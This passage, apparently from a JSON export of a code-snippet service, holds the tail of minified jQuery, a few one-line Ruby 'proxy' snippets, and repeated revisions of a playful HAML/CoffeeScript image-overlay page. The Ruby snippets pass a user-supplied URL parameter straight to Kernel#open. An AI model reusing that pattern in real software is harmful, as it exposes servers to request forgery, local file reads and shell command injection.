ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\\-]=)?([\\d+.\\-]+)([a-z%]*)$/i,cp,cq=[[\"height\",\"marginTop\",\"marginBottom\",\"paddingTop\",\"paddingBottom\"],[\"width\",\"marginLeft\",\"marginRight\",\"paddingLeft\",\"paddingRight\"],[\"opacity\"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu(\"show\",3),a,b,c);for(var g=0,h=this.length;g\u003ch;g++)d=this[g],d.style\u0026\u0026(e=d.style.display,!f._data(d,\"olddisplay\")\u0026\u0026e===\"none\"\u0026\u0026(e=d.style.display=\"\"),e===\"\"\u0026\u0026f.css(d,\"display\")===\"none\"\u0026\u0026f._data(d,\"olddisplay\",cv(d.nodeName)));for(g=0;g\u003ch;g++){d=this[g];if(d.style){e=d.style.display;if(e===\"\"||e===\"none\")d.style.display=f._data(d,\"olddisplay\")||\"\"}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(cu(\"hide\",3),a,b,c);var d,e,g=0,h=this.length;for(;g\u003ch;g++)d=this[g],d.style\u0026\u0026(e=f.css(d,\"display\"),e!==\"none\"\u0026\u0026!f._data(d,\"olddisplay\")\u0026\u0026f._data(d,\"olddisplay\",e));for(g=0;g\u003ch;g++)this[g].style\u0026\u0026(this[g].style.display=\"none\");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a==\"boolean\";f.isFunction(a)\u0026\u0026f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(\":hidden\");f(this)[b?\"show\":\"hide\"]()}):this.animate(cu(\"toggle\",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(\":hidden\").css(\"opacity\",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1\u0026\u0026f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c\u0026\u0026f(this).is(\":hidden\"),g,h,i,j,k,l,m,n,o;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g\u0026\u0026(a[g]=a[i],delete a[i]),h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing\u0026\u0026b.specialEasing[g]||b.easing||\"swing\";if(h===\"hide\"\u0026\u0026d||h===\"show\"\u0026\u0026!d)return b.complete.call(this);c\u0026\u0026(g===\"height\"||g===\"width\")\u0026\u0026(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,\"display\")===\"inline\"\u0026\u0026f.css(this,\"float\")===\"none\"\u0026\u0026(!f.support.inlineBlockNeedsLayout||cv(this.nodeName)===\"inline\"?this.style.display=\"inline-block\":this.style.zoom=1))}b.overflow!=null\u0026\u0026(this.style.overflow=\"hidden\");for(i in a)j=new f.fx(this,b,i),h=a[i],cn.test(h)?(o=f._data(this,\"toggle\"+i)||(h===\"toggle\"?d?\"show\":\"hide\":0),o?(f._data(this,\"toggle\"+i,o===\"show\"?\"hide\":\"show\"),j[o]()):j[h]()):(k=co.exec(h),l=j.cur(),k?(m=parseFloat(k[2]),n=k[3]||(f.cssNumber[i]?\"\":\"px\"),n!==\"px\"\u0026\u0026(f.style(this,i,(m||1)+n),l=(m||1)/j.cur()*l,f.style(this,i,l+n)),k[1]\u0026\u0026(m=(k[1]===\"-=\"?-1:1)*m+l),j.custom(l,m,n)):j.custom(l,h,\"\"));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!=\"string\"\u0026\u0026(d=c,c=a,a=b),c\u0026\u0026a!==!1\u0026\u0026this.queue(a||\"fx\",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]\u0026\u0026g[b].stop\u0026\u0026b.indexOf(\".run\")===b.length-4\u0026\u0026h(this,g,b);else g[b=a+\".run\"]\u0026\u0026g[b].stop\u0026\u0026h(this,g,b);for(b=e.length;b--;)e[b].elem===this\u0026\u0026(a==null||e[b].queue===a)\u0026\u0026(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)\u0026\u0026f.dequeue(this,a)})}}),f.each({slideDown:cu(\"show\",1),slideUp:cu(\"hide\",1),slideToggle:cu(\"toggle\",1),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a\u0026\u0026typeof a==\"object\"?f.extend({},a):{complete:c||!c\u0026\u0026b||f.isFunction(a)\u0026\u0026a,duration:a,easing:c\u0026\u0026b||b\u0026\u0026!f.isFunction(b)\u0026\u0026b};d.duration=f.fx.off?0:typeof d.duration==\"number\"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue=\"fx\";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)\u0026\u0026d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1\u0026\u0026f._unmark(this)};return d},easing:{linear:function(a,b,c,d){return c+d*a},swing:function(a,b,c,d){return(-Math.cos(a*Math.PI)/2+.5)*d+c}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step\u0026\u0026this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null\u0026\u0026(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b===\"auto\"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cr||cs(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?\"\":\"px\"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){e.options.hide\u0026\u0026f._data(e.elem,\"fxshow\"+e.prop)===b\u0026\u0026f._data(e.elem,\"fxshow\"+e.prop,e.start)},h()\u0026\u0026f.timers.push(h)\u0026\u0026!cp\u0026\u0026(cp=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,\"fxshow\"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop===\"width\"||this.prop===\"height\"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,\"fxshow\"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cr||cs(),g=!0,h=this.elem,i=this.options;if(a||e\u003e=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0\u0026\u0026(g=!1);if(g){i.overflow!=null\u0026\u0026!f.support.shrinkWrapBlocks\u0026\u0026f.each([\"\",\"X\",\"Y\"],function(a,b){h.style[\"overflow\"+b]=i.overflow[a]}),i.hide\u0026\u0026f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,\"fxshow\"+b,!0),f.removeData(h,\"toggle\"+b,!0);d=i.complete,d\u0026\u0026(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c\u003cb.length;c++)a=b[c],!a()\u0026\u0026b[c]===a\u0026\u0026b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(cp),cp=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,\"opacity\",a.now)},_default:function(a){a.elem.style\u0026\u0026a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each([\"width\",\"height\"],function(a,b){f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)}}),f.expr\u0026\u0026f.expr.filters\u0026\u0026(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;\"getBoundingClientRect\"in c.documentElement?f.fn.offset=function(a){var b=this[0],c;if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);try{c=b.getBoundingClientRect()}catch(d){}var e=b.ownerDocument,g=e.documentElement;if(!c||!f.contains(g,b))return c?{top:c.top,left:c.left}:{top:0,left:0};var h=e.body,i=cy(e),j=g.clientTop||h.clientTop||0,k=g.clientLeft||h.clientLeft||0,l=i.pageYOffset||f.support.boxModel\u0026\u0026g.scrollTop||h.scrollTop,m=i.pageXOffset||f.support.boxModel\u0026\u0026g.scrollLeft||h.scrollLeft,n=c.top+l-j,o=c.left+m-k;return{top:n,left:o}}:f.fn.offset=function(a){var b=this[0];if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);var c,d=b.offsetParent,e=b,g=b.ownerDocument,h=g.documentElement,i=g.body,j=g.defaultView,k=j?j.getComputedStyle(b,null):b.currentStyle,l=b.offsetTop,m=b.offsetLeft;while((b=b.parentNode)\u0026\u0026b!==i\u0026\u0026b!==h){if(f.support.fixedPosition\u0026\u0026k.position===\"fixed\")break;c=j?j.getComputedStyle(b,null):b.currentStyle,l-=b.scrollTop,m-=b.scrollLeft,b===d\u0026\u0026(l+=b.offsetTop,m+=b.offsetLeft,f.support.doesNotAddBorder\u0026\u0026(!f.support.doesAddBorderForTableAndCells||!cw.test(b.nodeName))\u0026\u0026(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),e=d,d=b.offsetParent),f.support.subtractsBorderForOverflowNotVisible\u0026\u0026c.overflow!==\"visible\"\u0026\u0026(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),k=c}if(k.position===\"relative\"||k.position===\"static\")l+=i.offsetTop,m+=i.offsetLeft;f.support.fixedPosition\u0026\u0026k.position===\"fixed\"\u0026\u0026(l+=Math.max(h.scrollTop,i.scrollTop),m+=Math.max(h.scrollLeft,i.scrollLeft));return{top:l,left:m}},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset\u0026\u0026(b+=parseFloat(f.css(a,\"marginTop\"))||0,c+=parseFloat(f.css(a,\"marginLeft\"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,\"position\");d===\"static\"\u0026\u0026(a.style.position=\"relative\");var e=f(a),g=e.offset(),h=f.css(a,\"top\"),i=f.css(a,\"left\"),j=(d===\"absolute\"||d===\"fixed\")\u0026\u0026f.inArray(\"auto\",[h,i])\u003e-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)\u0026\u0026(b=b.call(a,c,g)),b.top!=null\u0026\u0026(k.top=b.top-g.top+m),b.left!=null\u0026\u0026(k.left=b.left-g.left+n),\"using\"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,\"marginTop\"))||0,c.left-=parseFloat(f.css(a,\"marginLeft\"))||0,d.top+=parseFloat(f.css(b[0],\"borderTopWidth\"))||0,d.left+=parseFloat(f.css(b[0],\"borderLeftWidth\"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a\u0026\u0026!cx.test(a.nodeName)\u0026\u0026f.css(a,\"position\")===\"static\")a=a.offsetParent;return a})}}),f.each([\"Left\",\"Top\"],function(a,c){var d=\"scroll\"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?\"pageXOffset\"in g?g[a?\"pageYOffset\":\"pageXOffset\"]:f.support.boxModel\u0026\u0026g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each([\"Height\",\"Width\"],function(a,c){var d=c.toLowerCase();f.fn[\"inner\"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,\"padding\")):this[d]():null},f.fn[\"outer\"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?\"margin\":\"border\")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement[\"client\"+c],h=e.document.body;return e.document.compatMode===\"CSS1Compat\"\u0026\u0026g||h\u0026\u0026h[\"client\"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement[\"client\"+c],e.body[\"scroll\"+c],e.documentElement[\"scroll\"+c],e.body[\"offset\"+c],e.documentElement[\"offset\"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a==\"string\"?a:a+\"px\")}}),a.jQuery=a.$=f,typeof define==\"function\"\u0026\u0026define.amd\u0026\u0026define.amd.jQuery\u0026\u0026define(\"jquery\",[],function(){return f})})(window);","created_at":"2011-12-15T07:57:45.000Z","updated_at":"2011-12-15T07:57:45.000Z"},{"id":1984,"name":"proxy","body":"ruby\r\nrequire 'open-uri'\r\nopen(params[:url]).read rescue nil","created_at":"2011-12-30T07:52:43.000Z","updated_at":"2011-12-30T07:52:43.000Z"},{"id":1985,"name":"proxy","body":"ruby\r\nrequire 'open-uri'\r\nopen(params[:url]).read","created_at":"2011-12-30T07:54:01.000Z","updated_at":"2011-12-30T07:54:01.000Z"},{"id":1986,"name":"proxy","body":"ruby\r\nrequire 'open-uri'\r\nopen(request.params['url']).read","created_at":"2011-12-30T07:54:44.000Z","updated_at":"2011-12-30T07:54:44.000Z"},{"id":1987,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e \r\n%title Kim Jong Il Car Generator \r\n%script{src: 'http://ssig33.com/jquery.js'} \r\n%script{src: 'jongilcar.js'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute'} \r\n %img#target{style: 'z-index:1;position:absolute'} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Width: \r\n %input#width{value: 600, size: 5} \r\n Top: \r\n %input#top{size: 5, value: 100} \r\n Left: \r\n %input#left{size: 5, value: '-20'}","created_at":"2011-12-30T08:00:08.000Z","updated_at":"2011-12-30T08:00:08.000Z"},{"id":1988,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e \r\n%title Kim Jong Il Car Generator \r\n%script{src: 'http://ssig33.com/jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute'} \r\n %img#target{style: 'z-index:1;position:absolute'} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Width: \r\n %input#width{value: 600, size: 5} \r\n Top: \r\n %input#top{size: 5, value: 100} \r\n Left: \r\n %input#left{size: 5, value: '-20'}","created_at":"2011-12-30T08:13:38.000Z","updated_at":"2011-12-30T08:13:38.000Z"},{"id":1989,"name":"jongilcar.coffee","body":"coffee\r\nimg_loop = -\u003e \r\n setTimeout -\u003e \r\n $('#target').attr('src', $('#url').val()) \r\n $('#target').css('width', $('#width').val()+'px') \r\n $('#target').css('top', parseInt($('#top').val())) \r\n $('#target').css('left', parseInt($('#left').val())) \r\n img_loop() \r\n ,500 \r\ncapture = -\u003e \r\n win = window.content \r\n \r\n canvas = document.createElement('canvas') \r\n canvas.setAttribute(\"id\", \"svcanvas\") \r\n canvas.style.display = \"inline\" \r\n canvas.width = 713 \r\n canvas.height = 640 \r\n \r\n ctx = canvas.getContext(\"2d\") \r\n ctx.clearRect(0, 0, canvas.width, canvas.height) \r\n ctx.save() \r\n ctx.scale(1.0, 1.0) \r\n ctx.drawWindow(win, 0, 0, 713, 640, \"rgb(255,255,255)\") \r\n ctx.restore() \r\n location.href = canvas.toDataURL(\"image/png\") \r\n$ -\u003e \r\n img_loop() \r\n $('#capture').click(-\u003e capture()) ","created_at":"2011-12-30T08:13:58.000Z","updated_at":"2011-12-30T08:13:58.000Z"},{"id":1990,"name":"jongilcar.coffee","body":"coffee jong il car\r\nimg_loop = -\u003e \r\n setTimeout -\u003e \r\n $('#target').attr('src', $('#url').val()) \r\n $('#target').css('width', $('#width').val()+'px') \r\n $('#target').css('top', parseInt($('#top').val())) \r\n $('#target').css('left', parseInt($('#left').val())) \r\n img_loop() \r\n ,500 \r\ncapture = -\u003e \r\n win = window.content \r\n \r\n canvas = document.createElement('canvas') \r\n canvas.setAttribute(\"id\", \"svcanvas\") \r\n canvas.style.display = \"inline\" \r\n canvas.width = 713 \r\n canvas.height = 640 \r\n \r\n ctx = canvas.getContext(\"2d\") \r\n ctx.clearRect(0, 0, canvas.width, canvas.height) \r\n ctx.save() \r\n ctx.scale(1.0, 1.0) \r\n ctx.drawWindow(win, 0, 0, 713, 640, \"rgb(255,255,255)\") \r\n ctx.restore() \r\n location.href = canvas.toDataURL(\"image/png\") \r\n$ -\u003e \r\n img_loop() \r\n $('#capture').click(-\u003e capture())","created_at":"2011-12-30T08:16:45.000Z","updated_at":"2011-12-30T08:16:45.000Z"},{"id":1991,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e \r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute'} \r\n %img#target{style: 'z-index:1;position:absolute'} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Width: \r\n %input#width{value: 600, size: 5} \r\n Top: \r\n %input#top{size: 5, value: 100} \r\n Left: \r\n %input#left{size: 5, value: '-20'}","created_at":"2011-12-30T08:20:05.000Z","updated_at":"2011-12-30T08:20:05.000Z"},{"id":1992,"name":"jongilcar.coffee","body":"coffee kim jong il ca\r\nimg_loop = -\u003e \r\n setTimeout -\u003e \r\n $('#target').attr('src', $('#url').val()) \r\n $('#target').css('width', $('#width').val()+'px') \r\n $('#target').css('top', parseInt($('#top').val())) \r\n $('#target').css('left', parseInt($('#left').val())) \r\n location.hash = escape(JSON.stringify({src: $('#url').val(), width: $('#width').val(), top: parseInt($('#top').val()), left: parseInt($('#left').val())})) \r\n img_loop() \r\n ,500 \r\ncapture = -\u003e \r\n win = window.content \r\n \r\n canvas = document.createElement('canvas') \r\n canvas.setAttribute(\"id\", \"svcanvas\") \r\n canvas.style.display = \"inline\" \r\n canvas.width = 713 \r\n canvas.height = 640 \r\n \r\n ctx = canvas.getContext(\"2d\") \r\n ctx.clearRect(0, 0, canvas.width, canvas.height) \r\n ctx.save() \r\n ctx.scale(1.0, 1.0) \r\n ctx.drawWindow(win, 0, 0, 713, 640, \"rgb(255,255,255)\") \r\n ctx.restore() \r\n location.href = canvas.toDataURL(\"image/png\") \r\nrecover = -\u003e \r\n l_hash = unescape location.hash.replace(/^#/ ,'') \r\n console.log l_hash \r\n hash = JSON.parse(l_hash) \r\n $('#url').val(hash.src) \r\n $('#width').val(hash.width) \r\n $('#top').val(hash.top) \r\n $('#left').val(hash.left) \r\n$ -\u003e \r\n recover() \r\n img_loop() \r\n $('#capture').click(-\u003e capture()) ","created_at":"2011-12-30T08:33:30.000Z","updated_at":"2011-12-30T08:33:30.000Z"},{"id":1993,"name":"jongilcar.coffee","body":"coffee kim jong il ca\r\nimg_loop = -\u003e \r\n setTimeout -\u003e \r\n $('#target').attr('src', $('#url').val()) \r\n $('#target').css('width', $('#width').val()+'px') \r\n $('#target').css('top', parseInt($('#top').val())) \r\n $('#target').css('left', parseInt($('#left').val())) \r\n location.hash = escape(JSON.stringify({src: $('#url').val(), width: $('#width').val(), top: parseInt($('#top').val()), left: parseInt($('#left').val())})) \r\n img_loop() \r\n ,500 \r\ncapture = -\u003e \r\n win = window.content \r\n \r\n canvas = document.createElement('canvas') \r\n canvas.setAttribute(\"id\", \"svcanvas\") \r\n canvas.style.display = \"inline\" \r\n canvas.width = 713 \r\n canvas.height = 640 \r\n \r\n ctx = canvas.getContext(\"2d\") \r\n ctx.clearRect(0, 0, canvas.width, canvas.height) \r\n ctx.save() \r\n ctx.scale(1.0, 1.0) \r\n ctx.drawWindow(win, 0, 0, 713, 640, \"rgb(255,255,255)\") \r\n ctx.restore() \r\n location.href = canvas.toDataURL(\"image/png\") \r\nrecover = -\u003e \r\n l_hash = unescape location.hash.replace(/^#/ ,'') \r\n console.log l_hash \r\n hash = JSON.parse(l_hash) \r\n $('#url').val(hash.src) \r\n $('#width').val(hash.width) \r\n $('#top').val(hash.top) \r\n $('#left').val(hash.left) \r\n$ -\u003e \r\n recover() \r\n img_loop() \r\n $('#capture').click(-\u003e capture()) \r\n ","created_at":"2011-12-30T08:34:02.000Z","updated_at":"2011-12-30T08:34:02.000Z"},{"id":1994,"name":"jongilcar.coffee","body":"coffee kim jong il ca\r\nimg_loop = -\u003e \r\n setTimeout -\u003e \r\n $('#target').attr('src', $('#url').val()) \r\n $('#target').css('width', $('#width').val()+'px') \r\n $('#target').css('top', parseInt($('#top').val())) \r\n $('#target').css('left', parseInt($('#left').val())) \r\n location.hash = escape(JSON.stringify({src: $('#url').val(), width: $('#width').val(), top: parseInt($('#top').val()), left: parseInt($('#left').val())})) \r\n img_loop() \r\n ,500 \r\ncapture = -\u003e \r\n win = window.content \r\n \r\n canvas = document.createElement('canvas') \r\n canvas.setAttribute(\"id\", \"svcanvas\") \r\n canvas.style.display = \"inline\" \r\n canvas.width = 713 \r\n canvas.height = 640 \r\n \r\n ctx = canvas.getContext(\"2d\") \r\n ctx.clearRect(0, 0, canvas.width, canvas.height) \r\n ctx.save() \r\n ctx.scale(1.0, 1.0) \r\n ctx.drawWindow(win, 0, 0, 713, 640, \"rgb(255,255,255)\") \r\n ctx.restore() \r\n location.href = canvas.toDataURL(\"image/png\") \r\nrecover = -\u003e \r\n try \r\n l_hash = unescape location.hash.replace(/^#/ ,'') \r\n hash = JSON.parse(l_hash) \r\n $('#url').val(hash.src) \r\n $('#width').val(hash.width) \r\n $('#top').val(hash.top) \r\n $('#left').val(hash.left)\r\n catch error\r\n error\r\n \r\n$ -\u003e \r\n recover() \r\n img_loop() \r\n $('#capture').click(-\u003e capture()) \r\n ","created_at":"2011-12-30T08:35:34.000Z","updated_at":"2011-12-30T08:35:34.000Z"},{"id":1995,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e \r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute'} \r\n %img#target{style: 'z-index:1;position:absolute'} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://m-c5ae7b26959ae700-m.cocolog-nifty.com/micahnagase/images/2010/11/23/photo.jpg', size: 80} \r\n %p \r\n Width: \r\n %input#width{value: 600, size: 5} \r\n Top: \r\n %input#top{size: 5, value: 100} \r\n Left: \r\n %input#left{size: 5, value: '-20'}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2011-12-30T08:36:23.000Z","updated_at":"2011-12-30T08:36:23.000Z"},{"id":1996,"name":"jongilcar.coffee","body":"coffee kim jong il ca\r\nimg_loop = -\u003e \r\n setTimeout -\u003e \r\n $('#target').attr('src', $('#url').val()) \r\n $('#target').css('width', $('#width').val()+'px') \r\n $('#target').css('top', parseInt($('#top').val())) \r\n $('#target').css('left', parseInt($('#left').val())) \r\n $('#link').val 'http://ssig33.com/car#' + escape(JSON.stringify({src: $('#url').val(), width: $('#width').val(), top: parseInt($('#top').val()), left: parseInt($('#left').val())})) \r\n img_loop() \r\n ,500 \r\ncapture = -\u003e \r\n win = window.content \r\n \r\n canvas = document.createElement('canvas') \r\n canvas.setAttribute(\"id\", \"svcanvas\") \r\n canvas.style.display = \"inline\" \r\n canvas.width = 713 \r\n canvas.height = 640 \r\n \r\n ctx = canvas.getContext(\"2d\") \r\n ctx.clearRect(0, 0, canvas.width, canvas.height) \r\n ctx.save() \r\n ctx.scale(1.0, 1.0) \r\n ctx.drawWindow(win, 0, 0, 713, 640, \"rgb(255,255,255)\") \r\n ctx.restore() \r\n location.href = canvas.toDataURL(\"image/png\") \r\nrecover = -\u003e \r\n try \r\n l_hash = unescape location.hash.replace(/^#/ ,'') \r\n hash = JSON.parse(l_hash) \r\n $('#url').val(hash.src) \r\n $('#width').val(hash.width) \r\n $('#top').val(hash.top) \r\n $('#left').val(hash.left)\r\n catch error\r\n error\r\n \r\n$ -\u003e \r\n recover() \r\n img_loop() \r\n $('#capture').click(-\u003e capture())","created_at":"2011-12-30T08:36:56.000Z","updated_at":"2011-12-30T08:36:56.000Z"},{"id":1997,"name":"jongilcar.coffee","body":"coffee kim jong il ca\r\nimg_loop = -\u003e \r\n setTimeout -\u003e \r\n $('#target').attr('src', $('#url').val()) \r\n $('#target').css('width', $('#width').val()+'px') \r\n $('#target').css('top', parseInt($('#top').val())) \r\n $('#target').css('left', parseInt($('#left').val()))\r\n link = 'http://ssig33.com/car#' + escape(JSON.stringify({src: $('#url').val(), width: $('#width').val(), top: parseInt($('#top').val()), left: parseInt($('#left').val())})) \r\n $('#link').val link if link != $('#link').val() \r\n img_loop() \r\n ,500 \r\ncapture = -\u003e \r\n win = window.content \r\n \r\n canvas = document.createElement('canvas') \r\n canvas.setAttribute(\"id\", \"svcanvas\") \r\n canvas.style.display = \"inline\" \r\n canvas.width = 713 \r\n canvas.height = 640 \r\n \r\n ctx = canvas.getContext(\"2d\") \r\n ctx.clearRect(0, 0, canvas.width, canvas.height) \r\n ctx.save() \r\n ctx.scale(1.0, 1.0) \r\n ctx.drawWindow(win, 0, 0, 713, 640, \"rgb(255,255,255)\") \r\n ctx.restore() \r\n location.href = canvas.toDataURL(\"image/png\") \r\nrecover = -\u003e \r\n try \r\n l_hash = unescape location.hash.replace(/^#/ ,'') \r\n hash = JSON.parse(l_hash) \r\n $('#url').val(hash.src) \r\n $('#width').val(hash.width) \r\n $('#top').val(hash.top) \r\n $('#left').val(hash.left)\r\n catch error\r\n error\r\n \r\n$ -\u003e \r\n recover() \r\n img_loop() \r\n $('#capture').click(-\u003e capture())","created_at":"2011-12-30T08:40:15.000Z","updated_at":"2011-12-30T08:40:15.000Z"},{"id":1998,"name":"jongilcar.coffee","body":"coffee kim jong il ca\r\nimg_loop = -\u003e \r\n setTimeout -\u003e \r\n $('#target').attr('src', $('#url').val()) \r\n $('#target').css('width', $('#width').val()+'px') \r\n $('#target').css('top', parseInt($('#top').val())) \r\n $('#target').css('left', parseInt($('#left').val()))\r\n link = 'http://ssig33.com/car#' + escape(JSON.stringify({src: $('#url').val(), width: $('#width').val(), top: parseInt($('#top').val()), left: parseInt($('#left').val())})) \r\n $('#link').val link if link != $('#link').val() \r\n img_loop() \r\n ,500 \r\n \r\nrecover = -\u003e \r\n try \r\n l_hash = unescape location.hash.replace(/^#/ ,'') \r\n hash = JSON.parse(l_hash) \r\n $('#url').val(hash.src) \r\n $('#width').val(hash.width) \r\n $('#top').val(hash.top) \r\n $('#left').val(hash.left)\r\n catch error\r\n error\r\n \r\n$ -\u003e \r\n img_loop() \r\n $('#capture').click(-\u003e capture())","created_at":"2011-12-30T08:42:35.000Z","updated_at":"2011-12-30T08:42:35.000Z"},{"id":1999,"name":"jongilcar.coffee","body":"coffee kim jong il ca\r\nimg_loop 